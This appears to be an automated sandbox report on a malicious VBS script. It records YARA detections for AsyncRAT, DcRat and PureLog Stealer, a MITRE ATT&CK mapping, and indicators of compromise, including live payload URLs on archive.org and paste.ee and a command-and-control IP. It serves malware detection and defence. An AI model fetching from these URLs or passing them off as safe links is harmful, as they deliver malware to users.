Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR

Source: powershell.exe, 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: AddInProcess32.exe, 00000005.00000002.2715480413.0000000005A3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match	File source: 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.1dfc5fbb650.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfcd980000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfc5fbb650.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfcd980000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1528856037.000001DFCD980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1506314735.000001DFC57A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected DcRat

Source: Yara match	File source: 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.1dfc5fbb650.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfcd980000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfc5fbb650.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfcd980000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1528856037.000001DFCD980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1506314735.000001DFC57A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	212 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	1 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
qiEmGNhUij.vbs	5%	ReversingLabs	Win32.Trojan.Generic
qiEmGNhUij.vbs	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
ia600100.us.archive.org	0%	Virustotal		Browse
paste.ee	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://paste.ee	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://paste.ee	1%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtve5;9jDbase64Content	1%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	10%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://analytics.paste.ee	1%	Virustotal		Browse
https://cdnjs.cloudflare.com	0%	Virustotal		Browse
https://secure.gravatar.com	0%	Virustotal		Browse
https://themes.googleusercontent.com	0%	Virustotal		Browse
https://ia600100.us.archive.org	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600100.us.archive.org	207.241.227.240	true	false	0%, Virustotal, Browse	unknown
paste.ee	188.114.96.3	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	10%, Virustotal, Browse	unknown
https://paste.ee/d/AaTNM/0	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtve5;9jDbase64Content	powershell.exe, 00000004.00000002.1489737253.000001DFB53B2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1489737253.000001DFB6BEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000004.00000002.1489737253.000001DFB688E000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1489737253.000001DFB6AA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://paste.ee	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1489737253.000001DFB6AA2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.1489737253.000001DFB61B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.arX	powershell.exe, 00000004.00000002.1489737253.000001DFB61B3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://analytics.paste.ee	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://paste.ee	powershell.exe, 00000004.00000002.1489737253.000001DFB55B0000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1489737253.000001DFB6AA2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://www.google.com	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1489737253.000001DFB6BEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000004.00000002.1489737253.000001DFB688E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1489737253.000001DFB61B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB53B2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1540245190.00000250259F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1540245190.00000250259DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB5191000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1540245190.0000025025A19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB5191000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.gravatar.com	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://themes.googleusercontent.com	powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://oneget.org	powershell.exe, 00000004.00000002.1489737253.000001DFB688E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1489737253.000001DFB6846000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
148.113.165.11	unknown	United States	396982	GOOGLE-PRIVATE-CLOUDUS	true
188.114.96.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true
207.241.227.240	ia600100.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523822
Start date and time:	2024-10-02 05:22:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	qiEmGNhUij.vbs renamed because original name is a hash value
Original Sample Name:	41eb6115196af3892e27dba0a38c0376900f7d96b0e5721e4383b5e75d7379e7.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@8/7@2/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 12 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.19.126.154, 2.19.126.137, 93.184.221.240
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 1212 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:23:08	API Interceptor	41x Sleep call for process: powershell.exe modified
23:23:17	API Interceptor	1x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
148.113.165.11	INV04105025.vbs	Get hash	malicious	Unknown	Browse	148.113.165.11/document
188.114.96.3	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	update SOA.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/
	docs.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?I6=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+la3znjNy02hfQbCEg==&AL0=9rN46F
	https://wwvmicrosx.live/office365/office_cookies/main	Get hash	malicious	HTMLPhisher	Browse	wwvmicrosx.live/office365/office_cookies/main/
	http://fitur-dana-terbaru-2024.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	fitur-dana-terbaru-2024.pages.dev/favicon.ico
	http://mobilelegendsmycode.com/	Get hash	malicious	Unknown	Browse	mobilelegendsmycode.com/favicon.ico
	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	download.all-instructions.com/Downloads/Instruction%2021921.pdf.lnk
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/
	http://twint.ch-daten.com/de/receive/bank/sgkb/79469380	Get hash	malicious	Unknown	Browse	twint.ch-daten.com/socket.io/?EIO=4&transport=polling&t=P8hxwsc
207.241.227.240	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	asegurar.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	dcsegura.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	188.114.97.3
	asegura.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	RFQ-5120240930 VENETA PESCA SRL.vbs	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	188.114.96.3
	Zoom_Invite.call-660194855683.wsf	Get hash	malicious	XWorm	Browse	188.114.97.3
	reported_account_violation-pdf-67223451.wsf	Get hash	malicious	XWorm	Browse	188.114.97.3
ia600100.us.archive.org	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INTERNET-ARCHIVEUS	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.22759.7388.rtf	Get hash	malicious	Remcos	Browse	207.241.227.96
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	207.241.235.61
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
CLOUDFLARENETUS	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.159.140.237
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.66.0.235
	http://lamourskinclinic.com.au	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://unpaidrefund.top/view/mygov	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	payment copy.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://docs.google.com/presentation/d/e/2PACX-1vRuKBrQqA6BNfxZo0BAmhaaVHWHS5xGpGnvHJ3KKWtc6LdsEuOoWSlBNaOKZjp5GXLjhWJKRMb-grou/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.21.46.216
	https://sanbernardinoscounty.telcom-info.com/	Get hash	malicious	HtmlDropper	Browse	104.21.55.67
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://t1.global.clubavolta.com/r/?id=h53ebcb4b,29506a5f,2988ba3e&e=cDE9UkVEX0dMX0xveWFsdHlMYXVuY2hTb2x1cy1OT0NPTS1BTEwtMDExMDIwMjQtMV9YWCZwMj1kNzEwNWE1Zi00NjE3LWVmMTEtOWY4OS0wMDBkM2EyMmNlYTE&s=MLotNdk8aEH7W1636YhgxIdQC5od3UWYqTZw3tm9630	Get hash	malicious	Unknown	Browse	172.67.180.104
GOOGLE-PRIVATE-CLOUDUS	https://bit.ly/4eqfXtg	Get hash	malicious	Unknown	Browse	67.199.248.11
	http://mutaksmklogns.godaddysites.com/	Get hash	malicious	Unknown	Browse	67.199.248.11
	https://solanadefimainnet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	148.113.153.93
	http://www.card.xn--6qq986b3xl/higgs-domino/	Get hash	malicious	Unknown	Browse	67.199.248.10
	https://smallpdf.com/sign-pdf/document#data=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2VzaWduLnNtYWxscGRmLXN0YWdpbmcuY29tIiwic3ViIjoiNjE3MmQyMzMtODcyNy00M2NhLWI1NjQtYjgwZDUyZjYxYmVjIiwiYXVkIjpbImVzaWduIl0sImV4cCI6MTcyODYzODEyMCwibmJmIjoxNzI3NDI4NTIwLCJpYXQiOjE3Mjc0Mjg1MjAsImp0aSI6IjYxNzJkMjMzLTg3MjctNDNjYS1iNTY0LWI4MGQ1MmY2MWJlYyIsInBheWxvYWQiOnsiZW52ZWxvcGVfaWQiOiI2ZWRlMzFjZS00Mzc2LTQwYzItYjJjNy1jMDc2Y2M3MjY4NjIiLCJzaWduX3JlcXVlc3RfaWQiOiI2MTcyZDIzMy04NzI3LTQzY2EtYjU2NC1iODBkNTJmNjFiZWMiLCJ0b2tlbl90eXBlIjoibm90aWZpY2F0aW9uIiwidXNlcl9lbWFpbCI6ImNoYW8ud3VAd3JpLm9yZyIsInVzZXJfZmlyc3RuYW1lIjoiY2hhby53dUB3cmkub3JnIiwidXNlcl9sYXN0bmFtZSI6ImNoYW8ud3VAd3JpLm9yZyJ9fQ.UX67GiHBKgjV8XyH-SFTt_KgB2I_q2j9cbGTSqbzRvY&eid=6ede31ce-4376-40c2-b2c7-c076cc726862&esrt=6172d233-8727-43ca-b564-b80d52f61bec	Get hash	malicious	Unknown	Browse	148.113.163.217
	http://matamesklinog.godaddysites.com/	Get hash	malicious	Unknown	Browse	67.199.248.11
